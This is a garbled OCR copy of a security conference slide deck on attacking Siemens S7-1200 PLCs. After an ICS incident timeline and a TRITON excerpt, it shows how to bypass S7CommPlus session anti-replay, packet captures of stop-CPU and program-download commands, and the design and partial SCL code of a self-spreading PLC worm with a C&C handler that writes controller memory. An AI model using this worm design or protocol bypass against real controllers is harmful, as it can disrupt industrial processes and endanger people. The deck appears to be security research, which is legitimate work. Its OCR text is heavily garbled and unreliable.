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ICS Events

2007

2008
2010

2011
2012

2014

2015

2016

2017

The attackers invaded a water SCADA control system in Canada, destroying the
computers that took the water dispatch.

The attackers invaded a metro system in a Polish city and changed the track
switchman by means of a television remote to derail four carriages.

The Iranian nuclear facility is infected with Stuxnet virus, which seriously threatens the
safe operation of nuclear reactors.

Hacking data acquisition and monitoring systems hacked the water pumps in urban
water systems in Illinois.

Discover Flame Flames, a malicious program that attacks multiple Middle Eastern
countries that collects sensitive information across industries.

Havex virus swept across Europe and the United States, hijacked power industrial
equipment, blocking the power supply, in China also found a small sample spread.
Ukraine's power system was attacked by BlackEnergy malware causing a massive
blackout, leaving more than half of the homes in Ivano-Frankivsk region (about 1.4
million people) suffering from power outages; the entire power outage lasted for
hours.

Ghoul operations have launched targeted penetration attacks on industrial,
manufacturing and construction management agencies in more than 30 countries,
and more than 130 agencies have been identified as victims of such attacks.

WannaCry ransack virus outbreak worldwide, a large number of industrial site host is
infected
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l Serial Device Connected To The Internet
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l PLC Connected To The Internet
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PLC Connected To The Internet
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Attack Ideas For The PLC

O ICS Ransomware
O PLC Radio

O Payload Distribution Syste
O Socket Proxy
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l Lastest Event - TRITON

& |[ https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

)
@ Fl re Eye Products Services Solutions Partners

To give you the best possible experience, this site uses cookies. Find out more on how we use cookies.

Home > FireEye Blogs > Threat Research Blog > Attackers Deploy New ICS Attack Framework “TRITON"...

Attackers Deploy New ICS Attack
Framework “TRITON” and Cause
Operational Disruption to Critical
Infrastructure

December 14, 2017 | by Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer | Threat Research

Introduction

Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to
manipulate industrial safety systermns. The targeted systems provided emergency shutdown capability for industrial processes. We
assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown
operations. This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System
(SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state
preparing for an attack.

TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows
Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in
2016. TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function,
resulting in a physical consequence.
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l PLC Structure

Programming
Terminal
1
-
Power . J Memory
Supply CPU
1 +
Input Output
— Module Module
PLC —x
Input Qutpui
Devices Devices
PROCESS
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l PLC Run Process

Process image of outputs
(PIO)

Time slices (1 ms each)

Process image of inputs
(PI)

User program

Cycle control point (CCP)
Operating system (03)
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l Base Block

O OB(Organization Block)
O FB(Function Block)

O FC(Function)

O DB(Data Block)
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l PLC Programming Language

O LAD
O STL
O FBD
O SCL
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l TSEND/TRCV
The official Siemens documentation “s71200_system_manual_en-US_en-US.pdf”

Table 10- 11 TSEND and TRCV instructions

LAD / FBD SCL Description
“T SEND DB "TSEND_DB" ( TCP and ISO on TCP: TSEND sends data
Tt T req:= bool in , through a communication connection from the
TSEND ] ID:= word in , CPU to a partner station_
Ulrit bo asiant S aiaoa a
EN END len:= uint_in ,
RED DONE = d.c-ne=}_boc-l_out_,
1] BUSY = busy=> bool out_,
'-El: ET“’:UH o error=> bool out ,
DATA Ly status=> word out_,
data:= variant inout ) ;
T PCV DB "TRCV_DB" ( TCP and ISO on TCP: TRCV receives data
ki~ en r:= bool in , through a communication connection from a
TRCV ;
=T ID:= word in , partner station to the CPU.
EN END len:= uint _in ,
ENR NDR ndr=> bool out ,
o] BUSY - - —
LEN ERRDR busy=> bool out ,
DATA STATUS error=> bool out ,
RCVD_LEM |- s ta_tus:}_word_l:m.t_ .
revd len=> uint out ,
data:= variant inout );

! STEP 7 automatically creates the DB when you insert the instruction.
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l TCON/TDISCON

The official Siemens documentation “s71200_system_manual_en-US_en-US.pdf”

Table 10-8 TCON and TDISCON instructions

LAD / FBD Description
“T CON DB "TCON_DB" ( TCP and IS0 on TCP: TCON initiates a
TCOn req:= bool in , communications connection from the CPU to a
TCON_Pasam ID:= undef in , communication partner.
_TI?EID Dg:g - done=> bool out ,
- = _ - -
lib BUSY W busy=> bool out ,
{COMNECT ERROR ko error=> bool out ,
| STATUS status=> word ocut ,
connect:= struct inout );
“I DISCON "TDISCON DB" ( TCP and 150 on TCP: TDISCON terminates a
et req:= bool in , communications connection from the CPU to a
TOASCON ID:= word in , communication partner.
= EN END = - -
“REQ  DONE W done=> bool out ,
{ID BUSY = busy=> bool out ,
EAROR ~ error=> bool out_,
[ STATUS} status=> word out ) ;

1 STEP 7 automatically creates the DB when you insert the instruction.
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S7 Protocol Format

v vvwvw

Frame 18: 197 bytes on wire (1576 bits), 197 bytes captured (1576 bits)
Ethernet I1, Src: Vmware_al:9f:46 (@@:0c:29:al:9f:46), Dst: Siemens-_81:0c:83 (28:63:36:81:8c:083)
Internet Protocol Version 4, Src: 192.168.1.136 (192.168.1.13@), Dst: 192.168.1.14 (192.168.1.14)

Transmission Control Protocol, Src Port: 51254 (51254), Dst Port: iso-tsap (182), Seq: 283, Ack: 173, Len:

TPKT, Version: 3, Length: 143
IS0 8873/X.224 COTP Connection-Oriented Transport Proteocel
Length: 2
PDU Type: DT Data (Bx@f)
[Destination reference: 8x0008]

.0ge oeee

1...

= TPDU number:

B8x00

COTP segment data (136 bytes)

Last data unit: Yes

[2 COTP Segments (136 bytes): #9(8), #18(136)]
Frame: 9 (no data
[Frame: 18, payload: 8-135 (136 bytes)]

[Segment count: 2]

[Reassembled COTP length: 136]
Data (136 bytes)

Data: 720200883100008542000000020000032434000003240101. ..

[Length: 136]

S7 Telegram

143

Header | Params | Pardata Data

ISO over TCP TPKT

COoTP

S7 PDU

Header

ISO TCP Telegram

a1

Be

31
a3
a4
48

[5%]
a1
ee
3e
la
31
a3
Ga
ae

28 63 36 81 @c 83 00 6c
88 b7 37 2 40 8@ 80 66 3f 3

29

]

9t A

@

a

g

98 00 |15 00] (c6..... )..F..E.
91 82 0 a8¥ 7 T X B

37 @c 58 1s

42
32
3c
a4
3b
38
ae
13

ae
32
ae
a4
36
58
ae
ae

ea
e1
a4
ge
45
42
ee
89

8o
ae
81
c@
53
30
84
6b

a2
17
40

ad
3a
a4

34
82
a4

fa 44 52 @9 88 BBIBB BB @8 8f 82 f8 88 72 @2 88
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l S7-1200 Authenticate

S7-1200 Authenticate

| |
—_
| 1508073 CP\J
|
| e O The25™ byte in connection
| _ I1sos073 cC | . .
N | confirm packect S7CommPlus response is
: : the challenge, .
e |
: Connection Request :
: . O The anti replay byte is calculated by
I == X
L ~_ Connection Confirm (Session) i the following formula Ox80 + BEHNZS.
N |
| | The 24 and 29 need to replace.
: Connection Established(Session + 0x80) :
| g
I ===
: _ Connection RepIyA’ :
k---—""""
| |
|
|
!
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l S7-1200 Authenticate

3 0.000943  192.168.1.123 192.168.1.17 TCP 54 49382-102 [ACK] Seq=1 Ack=1 Win=16445440 Len=0
4 0.001103  192.168.1.123 192.168.1.17 cotp 89 CR TPDU src-ref: 0x006b dst-ref: 0x0000
5 0.002162  192.168.1.17 192.168.1.123 coTP 89 CC TPDU src-ref: 0x0008 dst-ref: 0x006b
6 0.002702  192.168.1.123 192.168.1.17 T.125 294 57649
7 0.016274  192.168.1.17 192.168.1.123 T.125 191 31282
8 0.016604  192.168.1.123 192.168.1.17 coTP 61 DT TPOU (0) [COTP fragment, O bytes]
9 0.016929  192.168.1.123 192.168.1.17 T.125 197 32817
10 0.021071  192.168.1.17 192.168.1.123 T.125 85 4146
11 0.021233  192.168.1.123 192.168.1.17 coTP 61 DT TPDU (0) [COTP fragment, O bytes]
2 0.033594 L1.12 1.17 1211
13 0.036057  192.168.1.17 1.123 T.125 91 5682
14 0.036256  192.168.1.123 1.17 cotp 61 DT TPOU (0) [COTP fragment, O bytes]
15 0.038223  192.168.1.123 1.17 T.125 121 13361
‘I 1A N NANGRD 142 16/R 1 17 1492 1RR 1 1232 T 1285 144 PNE3AIN I 5

Frame 12: 121 bytes on wire (968 bits), 121 bytes captured (968 bits)

Ethernet II, Src: 00:0c:29:a1:9f:46 (00:0c:29:a1:9f:46), Dst: 00:1c:06:22:2b:ab (00:1c:06:22:2b:ab)
Internet Protocol Version 4, Src: 192.168.1.123 (192.168.1.123), Dst: 192.168.1.17 (192.168.1.17)
Transmission Control Protocol, Src Port: 49382 (49382), Dst Port: 102 (102), Seq: 433, Ack: 204, Len: 67
TPKT, Version: 3, Length: &7

IS0 8073/X.224 COTP Connection-Oriented Transport Protocol

[z COTP Segments (60 bytes): #11(0), #12(60)]

MULTIPOINT-COMMUNICATION-SERVICE T.125

% DomainMCSPDU: uniformSendDataIndi jon (28

TR o1

0000 00 1c 06 22 2b ab 0D Oc 29, 5/00 45 00

0010 00 6b 11 ac 40 00 80 06 04 c0 a3 g 7b O a8

0020 01 11 c0 e6 00 66 45 b8 2d 00 0 e5 50 18

0030 fa 25 53 fc 00 o0 50000 43] 0 80|72 02 0O

0040 05 86 00 00 00 03 00 O 34 00

0050 04 01 82 2c 00 00 04 e8 59 00 12 ... ..
0060 89 6a 00 13 00 89 6b 00 4% 00 00 00 ..... .
0070 o200 o0 S L. Fu.

Session + 0x80
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B $7-1200 Stop CPU

PC $7-1200 PLC

[ [ © 1lo.000000 192.168.1.118 182168117 TP 661218+102 [SYN] Seq=D Win=8152 Len=0 NS
I I e e e s
| | 3 0.002311 192.168.1.118 192.168.1.17 TCP 54 1218-102 [ACK] Seq=1 Ack=1 Win=16445440
4 0.003249 192.168.1.118 192.168.1.17 coTP 89 CR TPDU src-ref: 0x002a dst-ref: Ox0000
| |
5 0.004164 192.168.1.17 192.168.1.118 CoTP 89 CC TPDU src-ref: O0x000c dst-ref: Ox002a
| 6 0.004309 192.168.1.118 192.168.1.17 T.125 294 57649
| - — 7 0.021617 192.168.1.17 1592.168.1.118 T.125 191 31282
| . - | : 4 192.1 1.118 1 1.1/ T.12!
| ISO8073 CC | 9 0.027166  192.168.1.17 192.168.1.118 T.125 84 3890
| - | 11 0.029163 192.168.1.17 192.168.1.118 TCP 60 102-1218 [ACK] Seq=203 Ack=344 Win=4096
I |
| | 60 102-1218
54 1218-102 [ACK] Se 44 Ack=204 Win=1639:
| | (= J
\ | 60 10212 E 204 Win=4096 Len=0
' Connection Request ' 1] |
rame 8: es on wire its), es captur s
| | Fi 8: 121 byt (968 bits), 121 byt tured (968 bits)
| Ethernet II, Src: 1c:1b:0d:87:0b:9e (1c:1b:0d:87:0b:9e), Dst: 00:1c:06:22:2b:ab (00:1c:06:22:2b:ab)
| | Internet Protocol Version 4, Src: 192.168.1.118 (192.168.1.118), Dst: 192.168.1.17 (192.168.1.17)
| _ - Transmission Control Protocol, Src Port: 1218 (1218), Dst Port: 102 (102), Seq: 276, Ack: 173, Len: 67
| = | TPKT, Version: 3, Length: 67
H H H IS0 8073/X.224 COTP Connection-Oriented Transport Protocol
| Eo’ngecnon Conflrm (SeSSIon) | =] MULTIPOINT-COMMUNICATION-SERVICE T.125
P - oma : uniformSendDataIndication
- D MCSPDU formsendDatalndicat (z8)
| | TPTK COTP Session
I | 0000 00 1c 06 2Z 2b ab 1c 1b 7 0b 9e DB400 45 00
| | 0010 00 6b 21 9d 40 00 80 06 18 c0 a8 76 O a
. 0020 01 11 04 c2Z 00 66 2c 3d 27 00 a5 CO 50
| CPU Stop Commond(Session + 0x80) | 0030 fa 44 6a f9 00 00[03 D0 1
I I 0040 34 31 00 00 04 f2 00 0O 0 08 DO 00 03
0050 00 00 34 01 90 77 00 08 [E 00 00 04 ed §9 69 00
| | 0060 12 00 0O OO0 OO0 B9 6a 00 89 6b 00 04 00 00
| | 0070 00 00 00 OO0 00 72 0Z 00 OO
: B - : Commond "stop”
| ‘Commond Reply |
e ——— - |
| |
| |
| |
! |
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l $7-1200 Download Program

S7-1200 Download Program

|

l\ |

| 1508073 cr\*i

: s O A Question

l _msosozzcc T : How to determine Session is to modify
€= | one byte or two bytes.

| |

| |

| |

:\Connection Request : | The Solution

|

: - The 24th byte and the 29th equal
L - Connection Confirm (Session) i and equal to the previous Session, then
: : replace the two for the new Session,

| |

: Download Start (Session + 0x80) : otherwise only the first 24 for the new
i : i Session.

| ' |

| |

: B Download End Rep‘ly’ o :

:
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l Execution Sequence of The Worm

Connect
Next IP

Success?

Yes

Get Session

Yes

Injected?

Stop Cpu

DownlLoad Worm

Start Cpu
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. = [ PLC_Worm_V2.8.2-1212C(Donef ..
Connect Risres ea—
Next IP g —
ex v D EER ENO
EhnERR WM1002 Y1010
: Mein [0B1] 1 "S.CLable” —fREQ DONE —"5_5_Dene* - Send Data
& Worm [0B9999] ‘cnn,P-rn{mﬁ BUSY —
&/ CC_Light [FC901] s20—ip ERROR —/.
& Loop_v3 [FCo02] e STATUS — -
& send_s6 [FC904] PRDBI4T
& 5end_1021 [FC305] DBX1675.0
4 Tran_Data1200_v2 [FC906] EYTE 36— paTA
. e & HiEhthtEh0 (Feeo7]
Success? = BETEHH 2 Fcsos
~ BERR9:
= S (Foo11] i
@ Bufier [DBS41) I
Yes i 085 Receive Data
» & I3m TV A
4‘ » i SERRRE o
'ghc“ | TENR - w1007
» [ poc gt = .
2 o “Con_Para_DB_ NDR =4 "S_Rcv_NDR"
SEﬁd Data : gé’iﬂ%gﬁlﬁ 5210 —p BUSY —...
% BEEE 65535 — LEN ERROR —1 ..
= " STATUS —
> @ warmn S
Jm_m—\ > BYTE 100 — paTA ROVD_LEN =~ "5 _Rev_Len®
ZEAH Save IP
14
v EFEB10:
Get Dev e ’//
38
Type w007 —
*5_Rev_NDR® MOVE BAREHL
%mP 0:1 1 & L £ ENO ———
i
- A *S_Rev_Pulse” .Sim?f:n‘f . 'l-shjg:sv 0,:: . 's,cm:‘:?p: B
R — Temet wWD304
Save IP and & T e

Type
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Connect
Next IP

Get Session

Infected?

Download

Start PLC

W RhER

& Main [0B1]

& Worm [0B9999]
& CC_Light [FC901)
4 Loop_v3 [FCo02]
4 Send_68 [FC904]
4 Send_1021 [FC905]
& Tran_Data1200_v2 [FC906]
& 3R (Foo7)
& REEISHE_V2 [FCoos]
&/ SARERR [Fcoog]
& (EITFHEPLC [FCo10]

- FHER FO]

@ Buffer [DB941]

@ Data_1200[08942]

o Fae

IZwe

ShERRITRE

PLCEE

PLCEpigedl

e S3RHE

TR

CONV
Int to Ulnt
EN ENO
%DBI41 DBWD w202
*Buffer” Send_Len — iy OUT — "D_Send_Lenth"
v BEBS: sEsE
B
“DB921
*TSEND_DB_D"
BEND &R
EN ENQ ———
8918 w021
"IEC_Timer_DB_ DONE ==i"D_S_Done”
19" BUSY —i-
W102.0 w1022 *IEC_Timer_DE_ TOF ERROR =1
“D_C_Label” “D_S_Label" D_Loop1™.Q Time. STATUS — -
— | i 1 N Q REQ
o1 —Bm El— - %DR902 DAVZ
*Con_Para_DB_
D2".6—1p
WIWZ02
“D_Send_Lenth" — LEN
P#DB941.0BX30
0 BYTE 1024 — pATA

et I

> #EFB9:
W
w1021 w1022
“D_S_Done" *D_S_Label®
4 {5 —
W1025
OSoene- 1023
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l Connect C&C

Lig

2 VISEE 6

Connect C&C Q::::a([moall iE" "Buffer.CC_Rcv([0] = 16400 THEN
S Send 3027 [FCo05) SE  IF "Buffer".CC_Rev[1] = 16400 THEN
A Fan-Deta 12002 [FC— ] #1_B2_1 := 164F0 AND "Buffer”.CC_Rcv[2]://BRE %7238
& HE R (Fee07) 7 #1_B2_2 := 1640F AND "Buffer”.CC_Rcv(2);//BZEFT (3) &L (X) , HTES1EAT0
W RRASHET V2 [FC. g // #1_B2_3 := 16403 AND "Test_DB1".CC_Rcv[2]:/BAEAFIELF0
& SAREERC [FCo09] 9 #T_Block_NO := BYTE TO_UINT ("Buffer®.CC_Rcv[3]) * 256 + BYTE TO_UINT("Buffer”.CC_Rcv[4])://DB&R S
& {EIFHEPLC [FCo10] 10 #T_Byte_NO := BYTE_TO_UINT ("Buffer”.CC_Rcv[5]) * 256 + BYTE_TO_UINT(“Buffer".CC_Rcv(6])://DB5:S
B SRR (FCo11] 1 // IF #1_B2_1 = 16400 THEN //16400RFIFESE.
@ Bufler [DB941] 12
@ Dats_1200 [DB942] 13 ooq
T FGiR i; // END_IF:
# 238 16 IF #T_B2_1 = 16410 THEN //16010BFQHHH.
il SMBIESTHF 17 IF #T_B2_2 = 16400 THEN //50
B PLCER 18 IF ("Buffer”.CC_Rcv([3] = 164FF) AND ("Buffer".CC_Rcv([4] = 164FF) THEN
Yes § PLCHiRAR) 19 POKE_BOOL (azea := 16482,
Qmﬁm]ﬁ 20 dbNumber := 0,
§TEEES 21 byteOffset := UINT_TO_DINT (#I_Byte NO),
!H!Sfl! 22 bitOffset := BYTE_TO_INT("Buffer™.CC_Rcv([7]), -
. s 23 value := false);
Receive Data i BEfUENE =l s ! |
e 25 | 13
2 | END_IF;
27 [ END_IF;
28 //ELSE
29 IF #T_B2_2 = 16401 THEN //{0%1
30% IF ("Buffer".CC_Rcv([3] = 164FF) AND (“Buffer".CC_Rcv([4] = 164FF) THEN
1 POKE_BOOL (area := 16422,
32 dbNumber := 0,
Process Data 33 byreofts UINT_TO_DINT (#T_Byte_NO), !
34 bitOffset := BYTE_TO_INT("Buffer".CC_Rcv[7]), I
35 | value := true);
T //ELSE
7 /7:
3 | END_IF; I
39 [ END_IF;
40 //ELSE
Disconnect? ag IF #T_B2_2 = 16404 THEN //T¥H0
uL $Byte Clear := 16800;
47 TF 4T Rlarlk NN o 1£4FFFF THEN
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l Demo
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